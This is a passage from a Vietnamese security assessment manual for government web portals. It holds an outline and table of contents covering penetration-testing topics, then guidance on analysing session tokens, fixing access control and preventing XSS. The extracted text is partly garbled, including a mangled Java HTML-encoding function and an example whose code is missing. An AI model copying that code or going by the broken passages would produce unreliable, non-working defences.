  • 7.3. KIỂM TRA TÀI KHOẢN NGƯỜI DÙNG MẶC ĐỊNH

    • 7.3.1. Kiểm tra User/Password mặc định

    • 7.3.2. Kiểm tra chính sách đăng ký User/Password của ứng dụng

    • 7.3.3. Kiểm tra mã nguồn của ứng dụng

  • 7.4. KIỂM TRA TẤN CÔNG BRUTE FORCE

    • 7.4.1. Brute Force xác thực theo HTTP

    • 7.4.2. Brute Force xác thực theo định dạng HTML

    • 7.4.3. Brute Force với công cụ tự động

  • 7.5. KIỂM TRA LỖI BỎ QUA QUY TRÌNH XÁC THỰC

    • 7.5.1. Gọi trang trực tiếp (duyệt bắt buộc)

    • 7.5.2. Thiết lập tham số

    • 7.5.3. Đoán Session ID

    • 7.5.4. SQL Injection (xác thực dạng HTML)

    • 7.5.5. Kiểm tra mã nguồn ứng dụng

  • 7.6. KIỂM TRA LỖ HỔNG TRONG VIỆC GHI NHỚ VÀ ĐẶT LẠI MẬT KHẨU

    • 7.6.1. Kiểm tra việc đặt lại mật khẩu

    • 7.6.2. Kiểm tra việc ghi nhớ mật khẩu

  • 7.7. KIỂM TRA QUÁ TRÌNH ĐĂNG XUẤT VÀ QUẢN LÝ BỘ NHỚ ĐỆM CACHE CỦA TRÌNH DUYỆT

    • 7.7.1. Kiểm tra chức năng đăng xuất

    • 7.7.2. Kiểm tra thời gian tự động đăng xuất

    • 7.7.3. Kiểm tra việc lưu dữ liệu trên bộ nhớ cache của trình duyệt

  • 7.8. KIỂM TRA KHẢ NĂNG SINH MÃ CAPTCHA

  • 8.1. KIỂM TRA MÔ HÌNH QUẢN LÝ PHIÊN

    • 8.1.1. Thu thập thông tin Cookie

    • 8.1.2. Phân tích cookie

  • 8.2. KIỂM TRA THUỘC TÍNH COOKIE

  • 8.3. KIỂM TRA QUÁ TRÌNH TẠO COOKIE

  • 8.4. KIỂM TRA VIỆC LỘ CÁC GIÁ TRỊ CỦA PHIÊN

    • 8.4.1. Kiểm tra quá trình mã hóa và tái sử dụng các thẻ phiên

    • 8.4.2. Kiểm tra việc sử dụng proxy và lưu dữ liệu đệm

    • 8.4.3. Kiểm tra phương thức GET và POST

    • 8.4.4. Kiểm tra quá trình vận chuyển dữ liệu

  • 8.5. KIỂM TRA LỖ HỔNG CSRF

  • 9.1. KIỂM TRA VIỆC LỘ ĐƯỜNG DẪN QUAN TRỌNG

  • 9.2. KIỂM TRA VIỆC BỎ QUA QUÁ TRÌNH XÁC QUYỀN

  • 9.3. KIỂM TRA LEO THANG ĐẶC QUYỀN

  • 10.1. TẤN CÔNG VỚI DỮ LIỆU KHÔNG HỢP LỆ

    • 10.1.1. Kịch bản chéo trang

      • 10.1.1.1. Mô tả

      • 10.1.1.2. Mục đích kiểm tra

      • 10.1.1.3. Quy trình kiểm tra

      • 10.1.1.4. Công cụ kiểm tra

    • 10.1.2. Flash chéo trang

      • 10.1.2.1. Mô tả

      • 10.1.2.2. Mục đích kiểm tra

      • 10.1.2.3. Quy trình kiểm tra

      • 10.1.2.4. Công cụ kiểm tra

    • 10.1.3. Chèn truy vấn SQL

      • 10.1.3.1. Mô tả

      • 10.1.3.2. Mục đích kiểm tra

      • 10.1.3.3. Quy trình kiểm tra

      • 10.1.3.4. Công cụ kiểm tra

    • 10.1.4. Các kiểu chèn mã phổ biến khác

      • 10.1.4.1. Mô tả

      • Một số kiểu tấn công phổ biến khác.

      • 10.1.4.2. Mục đích kiểm tra

      • 10.1.4.3. Quy trình kiểm tra

    • 10.1.5. Tấn công tràn bộ đệm

  • 10.2. TẤN CÔNG TỪ CHỐI DỊCH VỤ

    • 10.2.1. Kiểm tra tấn công bằng các ký tự thay thế trong SQL (SQL Wildcard)

    • 10.2.2. Kiểm tra tấn công dẫn đến khóa tài khoản người dùng

    • 10.2.3. Tấn công từ chối dịch vụ dựa vào tràn bộ đệm

    • 10.2.4. Kiểm tra khả năng cạn tài nguyên hệ thống trong việc cấp phát tài nguyên

    • 10.2.5. Kiểm tra khả năng thực hiện nhiều lần các đoạn mã tiêu thụ nhiều tài nguyên hệ thống

    • 10.2.6. Kiểm tra khả năng ghi dữ liệu người dùng vào đĩa hệ thống

    • 10.2.7. Kiểm tra lỗi giải phóng tài nguyên

    • 10.2.8. Kiểm tra việc lưu trữ quá nhiều dữ liệu trong phiên

  • 10.3. TẤN CÔNG QUA CÔNG NGHỆ AJAX

    • 10.3.1. Kiểm tra thiết bị đầu cuối AJAX

    • 10.3.2. Ngăn chặn và gỡ rối lỗi mã JavaScript với trình duyệt

  • 11.1. MỘT SỐ GIẢI PHÁP AN TOÀN KIẾN TRÚC HỆ THỐNG

    • 11.1.1. Một số giải pháp an toàn mạng VPN

    • 11.1.2. Một số giải pháp an toàn mạng WLAN

  • 11.2. MỘT SỐ GIẢI PHÁP AN TOÀN PHƯƠNG TIỆN KẾT NỐI

    • 11.2.1. Một số giải pháp an toàn Router

    • 11.2.2. Một số giải pháp an toàn Switch

  • 11.3. GIẢI PHÁP AN TOÀN HỆ THỐNG PHÒNG THỦ VÀ BẢO VỆ

    • 11.3.1. Giải pháp an toàn Firewall

    • 11.3.2. Giải pháp an toàn Anti-virus

    • 11.3.3. Giải pháp an toàn IDS/IPS

  • 11.4. GIẢI PHÁP AN TOÀN HỆ THỐNG MÁY CHỦ

    • 11.4.1. Giải pháp an toàn máy chủ Unix/Linux

    • 11.4.2. Giải pháp an toàn máy chủ Windows

  • 11.5. GIẢI PHÁP AN TOÀN MÁY CHỦ PHỤC VỤ WEB

    • 11.5.1. Một số giải pháp đảm bảo an toàn máy chủ

      • 11.5.1.1. Một số giải pháp đảm bảo an toàn máy chủ Unix/Linux

      • 11.5.1.2. Một số giải pháp đảm bảo an toàn máy chủ Windows

    • 11.5.2. Một số giải pháp an toàn Webserver

      • 11.5.2.1. Một số giải pháp an toàn Apache HTTP

      • 11.5.2.2. Một số giải pháp an toàn Apche Tomcat

      • 11.5.2.3. Một số giải pháp an toàn IIS

    • 11.5.3. Giải pháp an toàn Cơ sở dữ liệu

      • 11.5.3.1. Một số giải pháp an toàn SQL Server

      • 11.5.3.2. Một số giải pháp an toàn Oracle

      • 11.5.3.3. Một số giải pháp an toàn MySQL

  • 11.6. ĐỀ XUẤT GIẢI PHÁP ĐẢM BẢO AN TOÀN CHO ỨNG DỤNG WEB CỔNG THÔNG TIN ĐIỆN TỬ

    • 11.6.1. Mô hình hóa toàn bộ ứng dụng

      • 11.6.1.1. Phân tích đối tượng ẩn trên trang web

      • 11.6.1.2. Phân tích các thông tin được phổ biến rộng rãi (public)

      • 11.6.1.3. Phân tích nội dung ẩn

      • 11.6.1.4. Phân tích nội dung mặc định

      • 11.6.1.5. Liệt kê chức năng của ứng dụng

    • 11.6.2. Phân tích ứng dụng

      • 11.6.2.1. Xác định tính năng của ứng dụng

      • 11.6.2.2. Xác định các điểm nhập dữ liệu

      • 11.6.2.3. Xác định các công nghệ sử dụng

      • 11.6.2.4. Lập sơ đồ tấn công

    • 11.6.3. Kiểm tra điều khiển phía máy khách

      • 11.6.3.1. Kiểm tra truyền dữ liệu phía máy khách

      • 11.6.3.2. Kiểm tra điều khiển phía máy khách thông qua dữ liệu nhập vào

    • 11.6.4. Kiểm tra cơ chế xác thực

      • 11.6.4.1. Tìm hiểu cơ chế xác thực

      • 11.6.4.2. Kiểm tra chất lượng mật khẩu

    • 11.6.5. Kiểm tra cơ chế quản lý phiên

      • 11.6.5.1. Hiểu được cơ chế quản lý phiên

      • 11.6.5.2. Kiểm tra tác dụng của thẻ phiên

    • 11.6.6. Khắc phục vấn đề về việc quản lý truy cập

      • 11.6.6.1. Thực hiện việc kiểm tra với các tài khoản vừa tạo ra

      • 11.6.6.2. Các biện pháp điều khiển truy cập an toàn

    • 11.6.7. Khắc phục lỗ hổng XSS

      • 11.6.7.1. Ngăn chặn Reflected và Stored XSS

      • 6.7.1.2. Ngăn chặn DOM-base XSS

    • 11.6.8. Khắc phục lỗi SQL Injection

      • 11.6.8.1. Các biện pháp khắc phục chủ yếu

      • 11.6.8.2. Tham số hóa các câu truy vấn

      • 11.6.8.3. Phòng chống SQL Injection theo chiều sâu

    • 11.6.9. Khắc phục lỗi Operating Command Injection (OSC Inj)

    • 11.6.10. Khắc phục lỗi Xpath Injection, LDAP Injection

    • 11.6.11. Khắc phục lỗi SMTP Injection

    • 11.6.12. Khắc phục lỗi lộ đường dẫn quan trọng (path traversal)

Nội dung

MỤC LỤC MỤC LỤC .i DANH MỤC TỪ VIẾT TẮT iv DANH MỤC HÌNH VẼ viii MỞ ĐẦU PHẦN I CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA AN TOÀN THÔNG TIN TRONG CẤU TRÚC MẠNG CHƯƠNG (Chuyên đề 1) .4 QUY TRÌNH ĐÁNH GIÁ KIẾN TRÚC HỆ THỐNG MẠNG 1.1 ĐÁNH GIÁ MẠNG RIÊNG ẢO (VPN) 1.2 ĐÁNH GIÁ MẠNG KHÔNG DÂY (WLAN) 11 CHƯƠNG 21 (Chuyên đề 2) .21 QUY TRÌNH ĐÁNH GIÁ CÁC PHƯƠNG TIỆN KẾT NỐI 21 2.1 ĐÁNH GIÁ ROUTER 21 2.2 ĐÁNH GIÁ SWITCH 36 CHƯƠNG 49 (Chuyên đề 3) .49 QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH CÁC HỆ THỐNG PHÒNG THỦ 49 3.1 ĐÁNH GIÁ FIREWALL 49 3.2 ĐÁNH GIÁ ANTI-VIRUS 59 3.3 ĐÁNH GIÁ HỆ THỐNG PHÁT HIỆN XÂM NHẬP (IDS) 62 3.4 ĐÁNH GIÁ HỆ THỐNG HONEYPOT .71 PHẦN II CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA AN TOÀN THÔNG TIN TRONG HỆ THỐNG MÁY CHỦ .73 CHƯƠNG 74 (Chuyên đề 4) .74 QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ SỬ DỤNG 74 4.1 ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ UNIX/LINUX 74 4.2 ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ WINDOWS 89 i CHƯƠNG 111 (Chuyên đề 5) 111 QUY TRÌNH ĐÁNH GIÁ CẤU HÌNH DỊCH VỤ MÁY CHỦ PHỤC VỤ WEB 111 5.1 ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ .111 5.2 ĐÁNH GIÁ WEB SERVER .115 5.3 ĐÁNH GIÁ CƠ SỞ DỮ LIỆU 120 PHẦN III CÁC CHUYÊN ĐỀ VỀ QUY TRÌNH KIỂM TRA ĐÁNH GIÁ AN TOÀN THÔNG TIN CHO HỆ THỐNG PHẦN MỀM CỔNG THÔNG TIN ĐIỆN TỬ 129 CHƯƠNG 130 (Chuyên đề 6) 130 QUY TRÌNH THU THẬP THÔNG TIN CHUNG, ĐÁNH GIÁ NGUỒN GỐC PHÁT TRIỂN, ĐÁNH GIÁ CHỨC NĂNG SỬ DỤNG .130 6.1 TÌM THÔNG TIN VỀ MÁY CHỦ WEB 130 6.2 TÌM THÔNG TIN VỀ ỨNG DỤNG WEB 142 CHƯƠNG 167 (Chuyên đề 7) 167 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ QUY TRÌNH CHỨNG THỰC NGƯỜI TRUY CẬP 167 7.1 KIỂM TRA MÃ HÓA KHI GỬI THÔNG ĐIỆP XÁC THỰC 167 7.2 KIỂM TRA DANH SÁCH NGƯỜI DÙNG .170 7.3 KIỂM TRA TÀI KHOẢN NGƯỜI DÙNG MẶC ĐỊNH 172 7.4 KIỂM TRA TẤN CÔNG BRUTE FORCE 173 7.5 KIỂM TRA LỖI BỎ QUA QUY TRÌNH XÁC THỰC 175 7.6 KIỂM TRA LỖ HỔNG TRONG VIỆC GHI NHỚ VÀ ĐẶT LẠI MẬT KHẨU 180 7.7 KIỂM TRA QUÁ TRÌNH ĐĂNG XUẤT VÀ QUẢN LÝ BỘ NHỚ ĐỆM CACHE CỦA TRÌNH DUYỆT 184 7.8 KIỂM TRA KHẢ NĂNG SINH MÃ CAPTCHA 189 CHƯƠNG 191 (Chuyên đề 8) 191 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ KỸ THUẬT QUẢN LÝ PHIÊN CỦA HỆ THỐNG 191 8.1 KIỂM TRA MÔ HÌNH QUẢN LÝ PHIÊN 191 ii 8.2 KIỂM TRA THUỘC TÍNH COOKIE 194 8.3 KIỂM TRA QUÁ TRÌNH TẠO COOKIE 196 8.4 KIỂM TRA VIỆC LỘ CÁC GIÁ TRỊ CỦA PHIÊN 198 8.5 KIỂM TRA LỖ HỔNG CSRF 201 CHƯƠNG 204 (Chuyên đề 9) 204 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ KỸ THUẬT PHÂN QUYỀN SỬ DỤNG 204 9.1 KIỂM TRA VIỆC LỘ ĐƯỜNG DẪN QUAN TRỌNG 204 9.2 KIỂM TRA VIỆC BỎ QUA QUÁ TRÌNH XÁC QUYỀN 206 9.3 KIỂM TRA LEO THANG ĐẶC QUYỀN 207 CHƯƠNG 10 209 (Chuyên đề 10) 209 QUY TRÌNH KIỂM TRA ĐÁNH GIÁ CÁC KHẢ NĂNG TẤN CÔNG TỪ BÊN NGOÀI VÀO CỔNG THÔNG TIN ĐIỆN TỬ .209 10.1 TẤN CÔNG VỚI DỮ LIỆU KHÔNG HỢP LỆ .209 10.2 TẤN CÔNG TỪ CHỐI DỊCH VỤ 284 10.3 TẤN CÔNG QUA CÔNG NGHỆ AJAX .291 PHẦN IV ĐỀ XUẤT BIỆN PHÁP ĐẢM BẢO AN TOÀN THÔNG TIN CHO CÁC CỔNG THÔNG TIN ĐIỆN TỬ CỦA CÁC CƠ QUAN NHÀ NƯỚC 300 CHƯƠNG 11 301 (Chuyên đề 11) 301 MỘT SỐ BIỆN PHÁP CƠ BẢN ĐẢM BẢO AN TOÀN THÔNG TIN ÁP DỤNG CHO CÁC CỔNG THÔNG TIN ĐIỆN TỬ CỦA CÁC CƠ QUAN NHÀ NƯỚC 301 11.1 MỘT SỐ GIẢI PHÁP AN TOÀN KIẾN TRÚC HỆ THỐNG .301 11.2 MỘT SỐ GIẢI PHÁP AN TOÀN PHƯƠNG TIỆN KẾT NỐI 303 11.3 GIẢI PHÁP AN TOÀN HỆ THỐNG PHÒNG THỦ VÀ BẢO VỆ 308 11.4 GIẢI PHÁP AN TOÀN HỆ THỐNG MÁY CHỦ 310 11.5 GIẢI PHÁP AN TOÀN MÁY CHỦ PHỤC VỤ WEB 314 11.6 ĐỀ XUẤT GIẢI PHÁP ĐẢM BẢO AN TOÀN CHO ỨNG DỤNG WEB CỔNG THÔNG TIN ĐIỆN TỬ 336 KẾT LUẬN VÀ KIẾN NGHỊ 358 iii DANH MỤC TỪ VIẾT TẮT Từ viết tắt Nghĩa tiếng Anh 3DES Triple DES AES Advanced Encryption Standard AH Authentication Header AJAX Asynchronous JavaScript and XML AP Access Point ARP Address Resolution Protocol ASCII American Standard Code for Information Interchange ASP Association of Software Professionals BGP Border Gateway Protocol CA Certificate authority CAM Content-addressable Memory CAPTCHA Completely Automated Public Turing test to tell Computers and Humans Apart CDP Cisco Discovery Protocol CGI Common Gateway Interface CPU Central Processing Unit CSRF Cross-site request forgery DBMS Database Management System DDOS Distributed Denial of Service DES Data Encryption Standard DHCP Dynamic Host Configuration Protocol DMZ Demilitarized Zone DNS Domain Name System DNS Domain Name System DOM Document Object Model DOM Document Object Model DOS Denial of Service iv DoS Denial-of-service EIGRP Enhanced Interior Gateway Routing Protocol ESP Encapsulating Security Payload FTP File Transfer Protocol HTTP Hypertext Transfer Protocol HTTP Hypertext Transfer Protocol HTTPS Hypertext Transfer Protocol Secure HTTPS Hypertext Transfer Protocol Secure ICMP Internet Control Message Protocol ID Identification Data IDS Intrusion Detection System IDS Intrusion Detection System IE Internet Explorer IIS Internet Information Services IIS Internet Information Services IKE Internet Key Exchange IMAP Internet Message Access Protocol IOS Internetwork Operating System IP Internet Protocol IPS Intrusion Prevention Systems IPSEC Internet Protocol Security JSP JavaServer Pages L2TP Layer Tunneling Protocol LDAP Lightweight Directory Access Protocol LDAP Lightweight Directory Access Protocol LPC Local Procedure Call MAC Media Access Control MBSA Microsoft Baseline Security Analyzer MD5 Message-Digest algorithm MD5 Message-Digest algorithm MIB Management Information Base v MIME Multipurpose Internet Mail Extensions MiTM Man in The Middle NFS Network File System NNTP Network News Transfer Protocol NTFS New Technology File System NTP Network Time Protocol ODBC Open Database Connectivity OLE Object Linking and Embedding ORM Object-relational mapping OSPF Open Shortest Path First PCE PHP Charset Encoder PHP Hypertext Preprocessor PPTP Point-to-Point Tunneling Protocol PPTP Point-to-Point Tunneling Protocol PSK Pre-Shared Key PVLAN Private VLANs RIP Routing Information Protocol RPC Remote Procedure Call SHA Secure Hash Algorithm SMB Server Message Block SMTP Simple Mail Transfer Protocol SMTP Simple Mail Transfer Protocol SNMP Simple Network Management Protocol SQL Structured Query Language SSH Secure Shell SSI Server Side Includes SSID Service Set Identifier SSL Secure Sockets Layer SSL Secure Sockets Layer STP Spanning Tree Protocol TCP Transmission Control Protocol vi TFTP Trivial File Transfer Protocol TLS Transport Layer Security TLS Transport Layer Security URL Uniform Resource Locator VLAN Virtual Local Area Network VPN Virtual Private Network VTP Vlan Trunking Protocol WAN Wide Area Network WEP Wired Equivalent Privacy WLAN Wireless Local Area Network WPA Wi-Fi Protected Access XML eXtensible Markup Language XSS ross-site scripting vii DANH MỤC HÌNH VẼ Hình 1.1: Danh sách mật mặc định Hình 1.2: Kiểm tra SSL với VPNmonitor 10 Hình 1.3: Bẻ khóa AirSnort .14 Hình 1.4: Thay đổi địa MAC 16 Hình 1.5: Chèn gói tin mã hóa 19 Hình 1.6: Giải mã gói tin .20 Hình 2.1: công cụ PuTTY 26 Hình 2.2: Kết nối đến router PuTTY 26 Hình 2.3: Các chế độ dòng lệnh router 27 Hình 2.4: Đăng nhập vào chế độ “privilege” .28 Hình 2.5: Công cụ L0phtcrack 33 Hình 2.6: Hiện tượng tràn bảng CAM 39 Hình 2.7: Hiện tượng broadcast-storm .40 Hình 2.8: Cấu hình bảo vệ SPT 43 Hình 2.9: Giả mạo ARP .47 Hình 6.2.1 Thông tin máy chủ sử dụng netcat .131 Hình 6.3.1: Lấy tập tin robots.txt từ google sử dụng Wget 143 Hình 6.3.2 Sử dụng toán tử “site:” tìm kiếm Google .146 Hình 6.3.3 Sử dụng toán tử “cache:” tìm kiếm Google 146 Hình 6.3.4 Sử dụng toán tử “intitle:” tìm kiếm Google 147 Hình 6.3.5 Cảnh báo từ trình duyệt IE chứng không hợp lệ 157 Hình 6.3.6 Cảnh báo từ FireFox gặp chứng không hợp lệ 158 Hình 6.4.1 Cấu trúc trang web Paros tìm thấy .159 Hình 6.4.2 Một số tập tin trang web Paros tìm thấy .161 Hình 6.4.3 Thông tin Username xuất mã nguồn .162 Hình 6.4.4 Thông tin Password xuất mã nguồn 163 Hình 6.4.5 Thông tin địa email xuất mã nguồn 163 Hình 6.4.6 Tìm kiếm liên kết 164 Hình 7.4.1 Tấn công Brute Force với công cụ Brutus .174 Hình 7.4.2 Tấn công thỏa hiệp nhớ (Memory Trade-off) 175 viii Hình 7.5.1 Duyệt bắt buộc .176 Hình 7.5.2 Thay đổi tham số 177 Hình 7.5.3 Cookie tăng tuyến tính 178 Hình 7.5.4 Cookie thay đổi phần 178 Hình 7.5.5 Gọi trang đăng nhập 179 Hình 7.5.6 Quan sát đăng nhập Webscarab .179 Hình 7.7.1 Chèn cookie Webscarab .186 Hình 7.7.2 Chèn cookie N Edit Cookies 187 Hình 8.2.1 Các trình duyệt hỗ trợ thuộc tính “HttpOnly” .195 Hình 8.5.1 Một trình công CSRF 202 Hình 8.5.2 Xóa toàn viết .203 Hình 10.1.1 Trang web ban đầu chưa chèn mã khai thác XSS 211 Hình 10.1.2 Một trường hợp khai thác thành công lỗi XSS 212 Hình 10.1.3 Một trường hợp khai thác thành công lỗi XSS 212 Hình 10.1.4 Một form nhập thông tin người dùng đăng ký tài khoản 215 Hình 10.1.5 Thông tin BeFF thu 217 khai thác trình duyệt người dùng 217 Hình 10.1.3.1 Sử dụng công cụ sqlDumper 233 Hình 10.1.4.1: Giao tiếp với máy chủ mail cách sử dụng kỹ thuật chèn IMAP/SMTP 268 Hình 10.1.4.1: Sử dụng OllyDbg để Debug file thực thi windows 275 Hình 10.1.4.2: sample.exe chạy trình gỡ rối OllyDbg 278 Hình 10.1.4.3: Kết gỡ rối Ollydbg .279 Hình 10.1.4.4: Khả tràn ngăn xếp có ký tự xác định ngăn xếp 282 Hình 10.1.4.5 Tránh lỗi tràn ngăn xếp ký tự xác định 283 Hình 10.3.1 Nơi đặt script XML mã nguồn 295 Hình 10.3.2 Trình proxy cho thấy xác ta request điều .296 Hình 10.3.4 Sử dụng FireBug 297 Hình 10.3.5 Kết bắt lỗi FireBug 297 Hình 10.3.6 Tiến hành bắt lỗi với FireBug nhập liệu vào ứng dụng 298 Hình 10.3.7 Kết thu sau nhập user mật 298 Hình 10.3.8 Thông tin chi tiết ngăn xếp sau debug 299 ix x phiên để xác nhận lại chứng thực người dùng cuối Ngoài ra, số ứng dụng sử dụng chế xác thực không đầy đủ để quản lý, tất thông tin quản lý xác nhận từ khách hàng, thường mật - Nếu ứng dụng sử dụng thẻ phiên, xác nhận xác liệu thực sử dụng để xác nhận lại người sử dụng Các đối tượng sử dụng để truyền thẻ bao gồm HTTP cookie, tham số chuỗi truy vấn, trường ẩn Một số phần khác liệu sử dụng chung để xác định lại người dùng đối tượng khác sử dụng cho thành phần đầu cuối khác Thông thường, thành phần trông giống phiên thẻ không thực sử dụng, ví dụ cookie mặc định tạo máy chủ web - Để xác minh mục thực sử dụng thẻ phiên, tìm trang chức mà chắn phụ thuộc vào phiên (chẳng hạn người dùng, trang thông tin chi tiết cá nhân) gửi đến vài yêu cầu, loại bỏ mục nghi ngờ sử dụng mã phiên thông báo Nếu việc loại bỏ mục làm ngừng phiên, nhận biết thông báo trả về, xác nhận thẻ phiên Có thể sử dụng Burp Repeater để thực kiểm tra - Thay đổi giá trị byte thẻ thời điểm kiểm tra giá trị thay đổi chấp nhận Nếu có thông báo sử dụng mã để trì trạng thái phiên, loại bỏ mã để phân tích thêm 11.6.5.2 Kiểm tra tác dụng thẻ phiên - Đăng nhập với vai trò người dùng khác thời điểm khác ghi lại thẻ nhận từ máy chủ Nếu đăng ký tự có 344 sẵn chọn tên người dùng, đăng nhập với loạt người sử dụng tương tự với tên có chứa biến thể nhỏ chúng như: A, AA, AAA, AAAA, AAAB, AAAC, AABA,… Nếu gửi liệu người dùng lúc đăng nhập lưu trữ hồ sơ người dùng (như địa email), thực vài kiểm tra tương tự để sửa đổi liệu hệ thống lấy thẻ phiên - Phân tích thẻ nhận để tìm thông tin liên quan đến tên người dùng liệu điều khiển người dùng khác - Phân tích thẻ với kiểu mã hóa phát Xem xét tương quan độ dài tên người dùng độ dài mã thông báo, tìm kiểu mã hóa sử dụng Trường hợp tên người dùng chứa chuỗi nhân vật, tìm chuỗi ký tự tương ứng mã thông báo, sử dụng obfuscation XOR Có thể tìm mã thông báo chứa ký tự thập lục phân, mã hóa hex chuỗi ASCII thông tin khác Thử kết thúc dấu “=” ký tự Base64 hợp lệ khác: a-z, A-Z, 0-9, / - Nếu xác định liệu có ý nghĩa thẻ phiên thu được, xem xét liệu điều có đủ để thực công đoán thẻ cấp người dùng gần 11.6.6 Khắc phục vấn đề việc quản lý truy cập - Mỗi ứng dụng có cách phân quyền khác người dùng xem liệu họ, người quản trị xem tài khoản người khác - Để chuẩn bị cho bước này, cần tạo nhiều tài khoản với mức đặc quyền khác nhau, vạch danh mục liên kết mà tài khoản truy cập vào 11.6.6.1 Thực việc kiểm tra với tài khoản vừa tạo 345 - Nếu ứng dụng phân quyền truy cập theo mức từ cao xuống, dùng tài khoản quản trị duyệt hết nội dung mà tài khoản truy cập, lưu lại liên kết Sau dùng tài khoản với quyền thấp thử truy cập vào liên kết - Nếu ứng dụng chia quyền theo kiểu ngang hàng, thử dùng tài khoản truy cập vào mục riêng tài khoản khác ngược lại Nếu hai tài khoản ngang quyền mà truy cập vào chức riêng tài khoản cần xem lại cách phân quyền 11.6.6.2 Các biện pháp điều khiển truy cập an toàn Những biện pháp sau nhằm khắc phục thiếu hiểu biết người quản trị yêu cầu cần thiết việc điều khiển truy cập hiệu nhận định sai lầm yêu cầu mà người dùng tạo ra: - Không nên tin người dùng thiếu hiểu biết URL trình ứng dụng định danh dùng đặc tả nguồn tài nguyên ứng dụng, số thứ tự tài khoản số ID tài liệu Rõ ràng người dùng hiểu rõ thông số đó, nên cần đảm bảo trình ứng dụng có chế quản lý truy cập hiệu để ngăn cản truy cập bất hợp pháp - Không tin tưởng vào tham số mà người dùng gởi lên để tự xác định quyền họ kiểu như: admin=true - Không nên cho người dùng truy cập vào trang ứng dụng theo trình tự định sẵn Và không nên cho người dùng truy cập vào trang chỉnh sửa người dùng họ truy cập vào trang chỉnh sửa khác liên kết từ - Không nên tin tưởng vào người dùng mà không làm xáo trộn liệu chuyển qua client Với vài liệu người dùng nhập vào xác nhận truyền từ client chưa vội gởi trả lời mà chưa xác nhận lại lần 346 Những biện pháp tăng tính hiệu việc quản lý truy cập bên ứng dụng web: - Xác nhận lên danh sách yêu cầu quản lý truy cập cho đơn vị chức ứng dụng Cần thực cho người dùng hợp pháp có quyền truy cập vào chức tài nguyên mà người dùng riêng lẽ truy cập thông qua chức - Sử dụng phiên để điều khiển truy cập người dùng - Dùng thành phần trung tâm để kiểm tra việc điều khiển truy cập - Thực việc xử lý yêu cầu đơn từ client thông qua thành phần trên, để xác nhận người dùng tạo yêu cầu phép truy cập vào chức tài nguyên mà họ yêu cầu - Sử dụng chương trình kỹ thuật để ngoại lệ vượt qua bước Một cách kiểm soát hiệu ủy nhiệm mà trang ứng dụng phải qua giao diện mà truy vấn cỗ máy quản lý truy cập - Với chức nhậy cảm trang người quản trị, cần hạn chế IP truy cập vào để người dùng xác định trước đủ quyền để đăng nhập vào chức quản lý ứng dụng - Nếu thông tin tĩnh cần bảo vệ, có hai phương pháp Thứ nhất, tệp tin tĩnh truy cập gián tiếp thông qua đường dẫn với thông số đường dẫn tự thay đổi cho phiên làm việc với ứng dụng Thứ hai, tệp tin tĩnh truy cập trực tiếp thông qua chế xác thực HTTP kiểu đặt mật thư mục - Việc xác định định danh tài nguyên mà người dùng muốn truy cập dễ bị can thiệp chúng truyền qua client Do máy chủ cần tin tưởng vào liệu đáng tin từ phía máy chủ Còn liệu qua client cần xác định lại để người dùng quyền truy cập vào tài nguyên họ yêu cầu 347 - Cần ghi log lại kiện nơi mà liệu nhạy cảm bị truy cập hành động nhạy cảm thực Các tệp tin log giúp ích cho việc phân tích điều tra khắc phục cố sau 11.6.7 Khắc phục lỗ hổng XSS 11.6.7.1 Ngăn chặn Reflected Stored XSS Nguyên nhân gây lỗi reflected stored XSS liệu người dùng điều khiển chép vào phần hồi đáp ứng dụng mà không thông qua việc lọc kiểm tra Và liệu chèn mã nguồn dạng HTML nên liệu độc hại tương tác, thay đổi nội dung, cấu trúc, thực chèn mã script, … Để loại trừ lỗi reflected stored XSS cần xác định điểm mà liệu người dùng nhập vào lưu trữ máy chủ Sau thực bước sau để loại trừ khả dính lỗi reflected stored XSS: - Xác nhận tính hợp lệ liệu đầu vào - Xác nhận tính hợp lệ liệu đầu - Loại bỏ điểm chèn nguy hiểm a Xác nhận tính hợp lệ liệu đầu vào Tại đây, trình ứng dụng web nhận liệu người dùng nhập vào lưu vào sở liệu Do ta kiểm tra liệu nhập vào đáng nghi cần loại bỏ ra, bao gồm: - Các liệu không dài - Các liệu chứa thiết lập cho phép ký tự - Các liệu có chứa biểu thức quy b Xác nhận tính hợp lệ liệu đầu Trong trường hợp này, cần đảm bảo trình duyệt xử lý ký tự có nguy gây nguy hại cho người dùng cách an toàn Hướng thông tin hiển thị cho người dùng văn HTML bình thường cấu trúc HTML Để làm điều này, cần kiểm tra lọc kiểu mã hóa HTML như: 348 “ ‘ & < > " ' & < > Ngoài kiểu mã hóa trên, sử dụng mã hóa ký tự ASCII sau: % * % * Đối với ứng dụng viết ASP dùng hàm API Server.HTMLEncode để xử lý ký tự nguy hiểm trước chuyển vào sở liệu ứng dụng Hàm API chuyển đổi ký tự dùng thành dạng nguyên mà không gây nguy hại cho người dùng Đối với ngôn ngữ Java, viết hàm xử lý ký tự mã hóa kiểu như: public static String HTMLEncode(String s) { StringBuffer out = new StringBuffer(); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); if(c > 0x7f || c==’“‘ || c==’&‘ || c==’’) out.append(“&#“ + (int) c + “;”); else out.append(c); } return out.toString(); } c Loại bỏ điểm chèn nguy hiểm Có vài điểm chèn liệu vào ứng dụng gây nguy hại cho ứng dụng người dùng Thứ nhất, việc chèn trực tiếp liệu người dùng điều khiển vào ứng dụng thông qua đoạn mã javascript Có thể khiến cho tin tặc lợi dụng để thực thi hành động có hại Thứ hai, nơi mà liệu người dùng nhập vào thực thi trực tiếp lệnh Javascript như: 349 Trong đoạn mã trên, người công trực tiếp chèn mã javascript công bên dấu ngoặc kép Và chức lọc ký tự đặc biệt trình duyệt tác dụng Để khắc phục tình trên, trình ứng dụng cần đặc tả phương thức mã hóa rõ ràng header hồi đáp nó, vô hiệu hóa chỉnh sửa liệu nào, chắn lọc XSS tương thích với phương thức đặc tả Một ví dụ: Content-Type: text/html; charset=ISO-8859-1 6.7.1.2 Ngăn chặn DOM-base XSS DOM-base XSS ngăn chặn hai cách, kiểm tra xác nhận kỹ lưỡng liệu người dùng nhập vào liệu hồi đáp lấy sở 